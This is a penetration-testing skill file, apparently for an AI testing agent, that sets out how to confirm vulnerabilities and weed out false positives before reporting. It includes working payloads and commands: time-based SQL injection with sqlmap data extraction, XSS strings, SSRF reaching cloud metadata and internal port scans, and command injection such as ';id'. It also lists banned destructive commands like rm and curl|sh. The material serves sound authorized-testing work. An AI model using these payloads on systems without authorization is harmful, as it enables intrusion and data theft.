performing-exploit-verification

$npx mdskill add xalgord/xalgorix/performing-exploit-verification

- After discovering a potential vulnerability during any scanning or testing phase - Before calling `report_vulnerability` to prevent false positive reports - When automated scanners (nuclei, nikto, etc.) flag an issue that needs manual confirmation - When the initial exploit attempt is ambiguous (e.g., 500 error vs. actual RCE) - As the final gate before reporting ANY finding to the client

SKILL.md

.github/skills/performing-exploit-verificationView on GitHub ↗
---
name: performing-exploit-verification
description: Systematic methodology for safely confirming and documenting exploited vulnerabilities with reproducible proof, ensuring zero false positives before reporting.
domain: cybersecurity
subdomain: penetration-testing
tags:
- penetration-testing
- exploit-verification
- proof-of-concept
- false-positive-elimination
- vulnerability-confirmation
- safe-exploitation
version: '1.0'
author: xalgord
license: Apache-2.0
---

# Performing Exploit Verification

## When to Use

- After discovering a potential vulnerability during any scanning or testing phase
- Before calling `report_vulnerability` to prevent false positive reports
- When automated scanners (nuclei, nikto, etc.) flag an issue that needs manual confirmation
- When the initial exploit attempt is ambiguous (e.g., 500 error vs. actual RCE)
- As the final gate before reporting ANY finding to the client

## Most Often Missed & How to Confirm

- **Running the control test, not just the exploit** — the most common false positive is reporting a difference (size, status, timing) without a baseline + control proving the payload caused it. Always capture baseline → exploit → control.
- **Proportional timing for blind/time-based findings** — a single 5s delay can be network jitter. Confirm with SLEEP(0)/SLEEP(3)/SLEEP(7) and show the delay scales with the value, repeated 2-3x.
- **Encoding vs reflection for XSS** — `<script>` in the response is the framework defending, not a vuln. Confirm the payload appears unencoded and in an executable context (and execute it for DOM XSS).
- **Out-of-band source attribution** — for SSRF/XXE/blind RCE, confirm the callback came from the TARGET server's IP, not your own client/browser; otherwise it proves nothing.
- **IDOR needs two real sessions** — accessing your own object with a changed ID, or testing unauthenticated, is not IDOR. Show User A retrieving User B's data with A's token.
- **WAF/sanitizer masking** — a scanner hit that a WAF actually blocks, or that returns a generic 500, is a false positive until manually reproduced end-to-end.
- **How to confirm**: every finding ships with concrete proof matched to its category — extracted data (Cat A), the rendered/executed payload (Cat B), proportional timing or a target-sourced callback (Cat C), cross-session unauthorized data (Cat D), or command output like `id`/`whoami` (Cat E). Don't conclude a finding is real until it reproduces 3x and the control test diverges from the exploit; don't conclude it's a false positive until you've tried a WAF-bypass/alternate-encoding payload.

## Prerequisites

- **Initial finding**: A vulnerability hypothesis with at least one indicator
- **curl**: For HTTP-level verification
- **sqlmap**: For SQL injection confirmation
- **Burp Suite**: For request replay and manipulation
- **Python 3**: For custom verification scripts
- **Out-of-band callback**: Burp Collaborator, webhook.site, or agentmail

## Core Principle: DETECT → EXPLOIT → VERIFY → REPORT

**NEVER report a vulnerability you haven't verified with concrete, reproducible proof.**

## Workflow

### Step 1: Classify the Finding Type

Before verification, categorize what you're dealing with:

```
CATEGORY A — Data Extraction Required:
  SQL Injection, LFI/RFI, SSRF (internal data), XXE, IDOR
  → Proof = actual extracted data in response

CATEGORY B — Reflected/Injected Content:
  XSS, HTML Injection, SSTI, Header Injection
  → Proof = injected payload rendered/executed in response

CATEGORY C — Behavioral Confirmation:
  Time-based SQLi, Blind SSRF, OOB XXE, Race Conditions
  → Proof = measurable timing difference or callback received

CATEGORY D — Access Control Bypass:
  Auth bypass, privilege escalation, forced browsing
  → Proof = accessing restricted resource/data without authorization

CATEGORY E — Code Execution:
  RCE, deserialization, file upload → shell
  → Proof = command output (id, whoami, hostname) in response
```

### Step 2: Safe Verification Per Vulnerability Type

#### SQL Injection Verification

```bash
# === STEP 1: Error-based confirmation ===
# Inject single quote and check for database error
BASELINE=$(curl -s "https://target.example.com/api/users?id=1" | wc -c)
SQLI=$(curl -s "https://target.example.com/api/users?id=1'" | wc -c)

echo "Baseline: $BASELINE bytes"
echo "With quote: $SQLI bytes"
# If sizes differ significantly OR error message appears → potential SQLi

curl -s "https://target.example.com/api/users?id=1'" | \
  grep -iE "sql|syntax|mysql|postgresql|ora-|microsoft|sqlite|unterminated"

# === STEP 2: Time-based confirmation (definitive) ===
echo "Testing time-based..."
START=$(date +%s%N)
curl -s "https://target.example.com/api/users?id=1' AND SLEEP(5)-- -" > /dev/null
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))

echo "Response time: ${ELAPSED}ms"
# If response took ~5000ms+ → CONFIRMED time-based SQLi

# Control test (should be fast):
START=$(date +%s%N)
curl -s "https://target.example.com/api/users?id=1' AND SLEEP(0)-- -" > /dev/null
END=$(date +%s%N)
CONTROL=$(( (END - START) / 1000000 ))
echo "Control time: ${CONTROL}ms"
echo "Delta: $(( ELAPSED - CONTROL ))ms"

# === STEP 3: Data extraction (highest proof) ===
sqlmap -u "https://target.example.com/api/users?id=1" \
  --dbs --batch --risk=2 --level=3 \
  --technique=T --time-sec=5 \
  --output-dir=/tmp/sqlmap-verify/

# If databases listed → CONFIRMED with data extraction proof
```

#### XSS Verification

```bash
# === STEP 1: Check if input is reflected ===
PAYLOAD='<script>alert(1)</script>'
ENCODED='%3Cscript%3Ealert%281%29%3C%2Fscript%3E'

RESPONSE=$(curl -s "https://target.example.com/search?q=$ENCODED")

# Check for UNENCODED reflection
echo "$RESPONSE" | grep -c '<script>alert(1)</script>'
# Count > 0 → reflected XSS CONFIRMED

# Check if it's being encoded (NOT a vuln)
echo "$RESPONSE" | grep -c '&lt;script&gt;'
# If THIS matches but the raw one doesn't → properly encoded, NOT vulnerable

# === STEP 2: Context-aware payloads ===
# If reflected inside an HTML attribute:
curl -s 'https://target.example.com/search?q="><img src=x onerror=alert(1)>' | \
  grep -o 'onerror=alert(1)'

# If reflected inside JavaScript:
curl -s "https://target.example.com/search?q=';alert(1);//" | \
  grep -o "alert(1)"

# === STEP 3: DOM XSS (requires browser) ===
# Use browser_action to test DOM-based XSS
# Navigate to URL with payload in fragment/hash
# Check if alert fires or DOM is modified
```

#### SSRF Verification

```bash
# === STEP 1: Out-of-band callback ===
# Use agentmail or webhook for callback confirmation
OOB_URL="https://webhook.site/YOUR-UUID"

curl -s -X POST "https://target.example.com/api/fetch" \
  -H "Content-Type: application/json" \
  -d "{\"url\": \"$OOB_URL/ssrf-test\"}"

# Check webhook.site for incoming request from target server
# If received → CONFIRMED outbound SSRF

# === STEP 2: Internal service access ===
# Test for cloud metadata (AWS)
curl -s -X POST "https://target.example.com/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# If response contains instance metadata → CRITICAL SSRF confirmed

# === STEP 3: Port scan via SSRF ===
for PORT in 22 80 443 3306 5432 6379 8080 27017; do
  echo -n "Port $PORT: "
  RESP=$(curl -s -o /dev/null -w "%{time_total}" -X POST \
    "https://target.example.com/api/fetch" \
    -H "Content-Type: application/json" \
    -d "{\"url\": \"http://127.0.0.1:$PORT\"}")
  echo "${RESP}s"
done
# Timing differences reveal open vs closed internal ports
```

#### IDOR Verification

```bash
# === CRITICAL: IDOR requires TWO authenticated sessions ===

# Login as User A
TOKEN_A="Bearer eyJhbG...user_a_token"
# Login as User B
TOKEN_B="Bearer eyJhbG...user_b_token"

# Step 1: User A accesses their own resource
RESPONSE_A=$(curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/profile?id=100")
echo "User A's own data: $RESPONSE_A"

# Step 2: User A tries to access User B's resource
RESPONSE_B=$(curl -s -H "Authorization: $TOKEN_A" \
  "https://target.example.com/api/profile?id=101")
echo "User A accessing User B's data: $RESPONSE_B"

# Step 3: Compare — if User A gets User B's data → CONFIRMED IDOR
# If 403/401 → properly protected, NOT vulnerable
# If same data as User A → NOT IDOR (could be default/self redirect)
```

#### RCE Verification

```bash
# === SAFE COMMANDS ONLY ===
# NEVER use: rm, dd, mkfs, chmod 777, curl|sh, wget|sh

# Step 1: Identify command
curl -s "https://target.example.com/api/ping?host=;id" | grep "uid="
# If uid=xxx → CONFIRMED RCE

# Step 2: Multi-confirmation with safe commands
for CMD in "id" "whoami" "hostname" "uname -a" "cat /etc/hostname"; do
  echo "=== $CMD ==="
  curl -s "https://target.example.com/api/ping?host=;$CMD"
done

# Step 3: Time-based blind RCE
START=$(date +%s%N)
curl -s "https://target.example.com/api/ping?host=;sleep 5"
END=$(date +%s%N)
echo "Elapsed: $(( (END - START) / 1000000 ))ms"
# If ~5000ms → CONFIRMED blind RCE
```

### Step 3: Document Proof Systematically

Every verified finding MUST include:

```
## Verification Record

### Finding
- Vulnerability Type: [e.g., SQL Injection]
- Location: [URL + parameter]
- Method: [GET/POST]

### Baseline Request
- URL: https://target.example.com/api/users?id=1
- Response Code: 200
- Response Size: 1543 bytes
- Response Time: 120ms

### Exploit Request
- URL: https://target.example.com/api/users?id=1' AND SLEEP(5)-- -
- Response Code: 200
- Response Size: 1543 bytes
- Response Time: 5240ms ← 43x baseline

### Control Request
- URL: https://target.example.com/api/users?id=1' AND SLEEP(0)-- -
- Response Code: 200
- Response Size: 1543 bytes
- Response Time: 135ms ← matches baseline

### Conclusion
CONFIRMED: Time-based SQL injection. 5-second sleep causes proportional
response delay. Control with SLEEP(0) returns to baseline timing.

### Extracted Data (if applicable)
Database: mysql
Tables: users, orders, payments (via sqlmap --dbs)
```

### Step 4: False Positive Elimination Checklist

Before reporting, verify each item:

```bash
# === CHECKLIST ===

# 1. Is this reproducible? (run exploit 3 times)
for i in 1 2 3; do
  echo "=== Attempt $i ==="
  curl -s "https://target.example.com/vuln-endpoint" | head -5
done

# 2. Does the control test differ from the exploit test?
# (Baseline without payload vs. with payload)

# 3. Is the response ACTUALLY different, or just different Content-Length
#    due to dynamic content (timestamps, ads, CSRF tokens)?

# 4. For time-based: Is the delay proportional to SLEEP value?
# Test SLEEP(3) → ~3s, SLEEP(7) → ~7s, SLEEP(0) → baseline

# 5. For XSS: Is the payload UNENCODED in the response, or is the
#    framework encoding it (making it unexploitable)?

# 6. For IDOR: Did you use TWO different authenticated sessions?
#    (Accessing your OWN data with a changed ID is not IDOR)

# 7. For SSRF: Did the TARGET server make the request, or did YOUR
#    browser/client make it? (Check source IP in callback)

# 8. For scanners: Did nuclei/nikto flag it, but manual verification
#    shows a WAF blocking the payload? → FALSE POSITIVE
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Proof of Exploitation** | Concrete evidence (data, timing, callback) that a vulnerability is real |
| **Control Test** | A baseline request without the exploit to compare against |
| **Proportional Timing** | For blind attacks: delay scales with payload value (SLEEP(3)→3s, SLEEP(7)→7s) |
| **Out-of-Band Confirmation** | External callback received from the target server proving SSRF/XXE/RCE |
| **Two-Session IDOR** | Testing access control with two authenticated users, not just one |
| **False Positive** | Scanner flag or ambiguous response that doesn't represent a real vulnerability |

## Common Scenarios

| Scenario | Verification Method | Proof Required |
|----------|-------------------|----------------|
| Nuclei template match | Manual curl replay + check response | Unencoded payload or data extraction |
| Timing anomaly in response | SLEEP(N) with N=0,3,5,7 + baseline | Proportional delay matching N |
| Scanner reports "SQLi" | Manual quote test + sqlmap confirm | Database names or error-based confirm |
| Reflected input in page | Check encoding: raw vs HTML-entity | Raw `<script>` unencoded in source |
| Access control flag | Two-user session comparison | User A sees User B's data |
| File read in response | Confirm known file content match | `/etc/passwd` root entry in output |

## Anti-Patterns (DO NOT DO)

1. **Report scanner output as proof** — Scanner says "High" is not exploitation
2. **Use single request as proof** — Always baseline + exploit + control
3. **Confuse encoding with reflection** — `&lt;script&gt;` ≠ `<script>`
4. **Test IDOR unauthenticated** — That's "auth bypass", not IDOR
5. **Report timing jitter as blind SQLi** — Network variance ≠ SLEEP confirmation
6. **Skip the control test** — Without it, you can't prove causation

More from xalgord/xalgorix